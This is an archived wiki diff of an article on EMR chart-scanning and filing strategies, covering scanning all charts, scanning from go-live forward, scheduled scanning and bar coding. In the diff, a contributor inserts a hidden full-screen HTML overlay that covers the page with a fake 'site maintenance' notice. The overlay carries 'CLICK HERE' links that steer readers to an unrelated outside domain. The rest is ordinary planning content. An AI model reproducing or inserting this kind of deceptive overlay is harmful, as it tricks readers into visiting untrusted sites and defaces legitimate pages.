Difference between revisions of "Scan Strategies"
Jump to navigation
Jump to search
Jerri.cowper (talk | contribs) |
Onamitihys (talk | contribs) |
||
Line 1: | Line 1: | ||
__TOC__ | __TOC__ | ||
− | ==Scan Scenarios== | + | >==Scan Scenarios== |
===All=== | ===All=== | ||
* Practical in small practices/implementations (thin charts) | * Practical in small practices/implementations (thin charts) | ||
Line 20: | Line 20: | ||
* No information readily available for 1st visit unscheduled patients | * No information readily available for 1st visit unscheduled patients | ||
* Additional work effort prior to Go-Live in pulling charts | * Additional work effort prior to Go-Live in pulling charts | ||
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://ohupomeqawu.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://ohupomeqawu.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
==Filing Scenarios== | ==Filing Scenarios== |
Revision as of 00:23, 18 November 2010
>==Scan Scenarios==
All
- Practical in small practices/implementations (thin charts)
- All documents immediately available in EMR
- No paper chart
- Work effort/cost is exponential
- Effort spent on documents/charts which may never be used
Scan from Go Live Forward
- No upfront cost/work effort
- No effort spent on patients who don’t return
- No effort spent on documents which aren’t referenced
- Paper chart still exists for short-mid future
- No immediate benefit from information at Go-Live being accessible
Schedule Scanning
- Schedule Patients eCharts have immediate accessible documentation
- Effort minimized to only scan charts of patient who are returning
- No information readily available for 1st visit unscheduled patients
- Additional work effort prior to Go-Live in pulling charts
Filing Scenarios
Scan All, File all to Document Type
- Every document is in the EMR filed under the paper document title
- Information more easily referenced
- No consensus of tabs necessary amongst practices
- Less build setup time per practice
- Chart Structure is enterprise wide
- Takes scan staff more time to file
Scan All, Partial Document Filing
- Minimizes work effort
- Frequently reference documents are easily accessible
- Documents that aren’t filed to document level can always be filed to document level later
- Documents that aren’t expected to be referenced aren’t filed to the document title initially
How Bar Coding Can Help
Future Documents
- Filing to document type is automatic based on bar code
- Master forms and master documents can include bar code
- Consideration – bar codes need to be implemented on forms
Existing Documents
- Practices can choose what documents they bar code
- Document type filing is automatic to the scan process for documents that are stickered
- Frequently referenced documents are immediately available upon Go-Live
- Cost and effort to sticker existing documents
- Documents that practice choose not to bar code will have to be filed manually
Related Pages